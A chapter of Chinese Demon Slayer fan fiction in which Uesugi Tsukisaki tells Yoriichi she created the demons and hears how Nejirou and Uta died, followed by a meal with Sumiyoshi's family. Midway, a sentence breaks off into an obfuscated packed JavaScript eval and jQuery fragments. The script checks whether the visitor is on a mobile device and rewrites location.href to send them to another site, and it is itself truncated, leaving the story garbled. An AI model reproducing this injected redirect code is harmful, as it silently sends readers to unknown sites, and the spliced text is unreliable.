上杉月咲坐在木制的楼梯上,上着短衣下着袴——这都是碳吉的衣服,本来是有些大了的,七旬老人的身体缩了水,但被朱弥子改过了,上杉月咲穿着刚刚好。
她隔着衣服摸了摸胸腹部的那个大洞,说:“缘一,你知道吗?”
“鬼是我创造出来的。”
这件事在她心里憋了太久,她谁也不敢告诉。
“如果我早些告诉你鬼的存在,以你的能力,护住根次郎和诗是很简单的事情吧。”
缘一又回到之前的位置,他坐在了上杉月咲身侧,但比之前稍微远了点,他们之间隔着那柄刚出完风头的日轮刀。
“怎么创造出来的?”继国缘一情绪平淡。
上杉月咲把一切都说给了继国缘一听,包括她并不是月姬这件事。
继国缘一点了点头表示知道了,将日轮刀抽了出来,又从怀里掏出一块手帕,细细地擦拭刀身。
上杉月咲认得那块手帕,是诗绣的,她绣了四块,每一块上都有四个小人,站成整齐的一排,脸上是黑线纹出的弯,表示笑容。
上杉月咲的那块因为重新附身而弄丢了。
“你不恨我吗?”上杉月咲问。
继国缘一停下了手中的动作,他目视前方:“如果你指的是根次郎和诗的死,那么我应该算你的共犯,没有立场指责你。”
“而如果你指的是你不是月姬这件事,我想根次郎早就知道了。”
当初上杉月咲突然倒地,三个人都吓傻了,根次郎作为唯一一个成年人,一边检查上杉月咲的身体状况,一边还要安抚两个半大孩子。
他没有多慌张,只是搂着月姬的尸体,如树皮般粗糙的大手一遍又一遍地抚过月姬的头,闭着眼无声地落泪。
诗不明白发生了什么,手紧紧揪着缘一的袖摆,想开口问根次郎,又怕刺激到对方,只能作罢。
而拥有天赋的缘一看得最清楚,这具身体已经彻彻底底地死掉了。
“要把月姬安葬吗?”他问根次郎。
根次郎摇了摇头:“放着吧,万一她还会回来呢?”
当时的缘一以为根次郎说的是月姬。
直到一个月又一个月过去了,月姬的身体开始散发出一股难闻的味道,黑色的乌鸦成群结队地站在屋顶,它们嘎嘎嘎地催促着,似乎在埋怨人类怎么还不把尸体抛弃,好让它们能够饱餐一顿。
根次郎不得不把月姬安葬了。
小屋旁多了一个小土丘,木墓牌是根次郎亲手做的,上面刻着“根次郎之妹月姬与无名之墓”。
缘一没有看明白:“无名是谁?”
根次郎说:“跟我们住了五年又不告而别的坏家伙。”
缘一皱眉:“那月姬是谁?”
根次郎说:“你只见过几面的我的妹妹。”
根次郎很早就发现了回来的月姬不再是月姬,身为哥哥的他只用看一眼便能够发现不对劲,但他不敢承认。
妹妹的离世对他来说是沉重到宁愿自欺欺人也不想去面对的事情,所以哪怕缘一说月姬的身体不对劲,他也假装听不见。
可住在一起越久,那股违和感便越强。
月姬从小爱美,非常遵守规训,是地道的想成为贤妻良母的女性,连坐姿都讲究端正漂亮。
而上杉不同,她不在意外表,去山上采药被树枝划伤了脸也只根本没放心上,根次郎紧张兮兮地给她擦药时,她还嫌哥哥大惊小怪。
再加上上杉那满肚子的不知道从哪来的药理医学,诗每次夸她懂得多时,她总不自在地打哈哈说自己看的书比较杂,跟医药相关的都看了一点。
可根次郎哪能不知道,月姬只爱看话本,家里也从来没有过医学相关的书籍。
但是根次郎什么也没说,他把这个不知道从哪来的孤魂野鬼当成自己的妹妹来对待,因为他知道,这个可怜的灵魂,一定也是某个人的月姬。
根次郎每周都会放一些贡品在小土丘面前,是双人份的。
缘一和诗也有样学样。
听到这里,上杉月咲捏紧了放在膝盖上的拳头:“这样啊。”
原来哥哥早就知道了。
脑海里闪过根次郎微微笑着的脸。
缘一又接着说到了根次郎和诗的死。
他那天本该在家的,但路上有事耽搁了,晚回去了一天,鬼是冲着诗来的,根次郎为了保护诗,两个人一起死在了屋外。
缘一回来的时候,血腥气弥漫在空气里,他乍一眼只看见根次郎倒在屋外,身下是成片的血迹,像是整个人身体里的血都给流出来了,粗麻布做的衣裳也被染成了鲜红色。
缘一冲了过去,试图抱起根次郎的时候才发现在他身下还压着脖子上有一道血口子的诗,她已经没了呼吸。
根次郎还有气,但也出得多进得少了,他靠在缘一的怀里,断断续续地说:“都怪我……”
“怪我以为是她回来了呢……我想着会不会是在别人身上回来了……”
根次郎知道月姬回不来了,但对于相处了五年的上杉,他总抱有期待,而正是这期待,让他将恶鬼认成了上杉。
诗也被影响了,欢天喜地地朝恶鬼扑过去,嘴里的姐姐还没叫完,就被割了脖子。
缘一不停地和根次郎道歉:“对不起,是我回来晚了,是我……”
根次郎艰难地摇着头,他扯出一个笑容来,虽然吃力,但看得出真心:“不怪缘一……是我该去找月姬了……”
“好久好久了,她该怪我了……”
根次郎就这样闭上了眼睛。
上杉月咲听到这里,泪水从眼角滑落,朦胧中只看见一双同样被泪水淹没的深红色眼眸在与她对视,缘一说:“是我没有保护好他们。”
缘一哭得像个普通孩子,在他是个孩子的时候都没有像现在这样嚎啕大哭过。
根次郎和诗是他亲手埋葬的,当时他只觉得麻木,一滴泪也没有流,接下来的时间便是在鬼杀队不断的任务中度过,一直到看见上杉,他停滞的情
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051591|179047||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
感才仿佛又被按下了启动键。
上杉月咲抱住了缘一。
怪罪痛恨别人其实是一件很轻松的事情,只需要将所有的不幸都归咎于别人的无能,便能心安理得地接受自己的无力回天。
她把自己是罪魁祸首的事情告诉了缘一,而缘一却宁愿接着惩罚自己,也没有丝毫怪罪于她的意思。
等到两人都止住了眼泪,碳吉才走了过来,他一脸担心:“田中大伯……”
上杉月咲忙擦去了自己的眼泪,朝碳吉和朱弥子笑了笑。
缘一所向往的生活,已经有人在替他过了。
女性是十分伟大的生物,明明才刚生育完不久,朱弥子却坚持要亲自下厨给大家做一顿好吃的。
上杉月咲不赞同:“生育是很辛苦的事情,你应该好好躺着。”
朱弥子摇头:“如果不是因为田中大伯和继国大哥,我们说不定现在都没办法站在这儿了,就让我来为你们做点什么吧。”
上杉月咲只能接过她怀里的小孩,亦步亦趋地跟在朱弥子身后,怎么说也赶不走,牢牢盯着这位看似柔弱的女子,生怕她留下什么后遗症。
碳吉和朱弥子的女儿乖得不像话,并不是那种不爱说话的女孩子的乖,而是见谁都咯咯笑但不哭不闹的乖,明明还只是个襁褓中的婴儿。
听说小孩子对气味很敏感,上杉月咲抱她之前还很担心自己千疮百孔的身体会散发出什么不好闻的气味影响到她,但事实上她多虑了。
毛发稀疏的小屁孩津津有味地嘬着手,在她怀里睡得很安详。
上杉月咲放下了心。
碳吉和缘一去树林里找吃的了,想猎点飞禽走兽来给朱弥子补身体,现在是大白天,也不用担心鬼出没。
朱弥子的厨艺精彩得有些吓人了,如今战乱四起,食物资源严重匮乏,即便如此,靠着碳吉和缘一打猎来的野味,她仍然是做出了满满一桌热气腾腾的佳肴。
朱弥子哼哼笑着,双手叉腰,得意完了又小手一挥,招呼一家老小吃饭了。
饭桌上几人聊到了之后的打算,碳吉一家三口自然是不用说,打算接着干祖辈卖炭的活计,而缘一则要回鬼杀队接着做任务。
“田中大伯呢?”朱弥子侧头看她,问道。
上杉月咲放下了手中的碗筷:“我打算跟缘一一起去鬼杀队看看。”
现如今的鬼杀队正是在产屋敷麾下,她要去看看才能有所把握。
朱弥子啊了一声,有些失望,她本来想把田中留下来的,尽管知道对方身体特殊,但在她眼中,田中始终是个心肠很好的邻家大伯罢了,怎么能跟着缘一去打打杀杀呢。
但每个人都有自己的路要走,虽然在这里田中也过得很开心,但朱弥子看得出来,缘一出现之后田中才算是真正地鲜活了起来。
“那你们出发的时候要告诉我喔。”朱弥子没有过多纠结,“我会给你们准备很多好吃的。”
碳吉也点点头:“朱弥子做的干粮也很好吃呢!”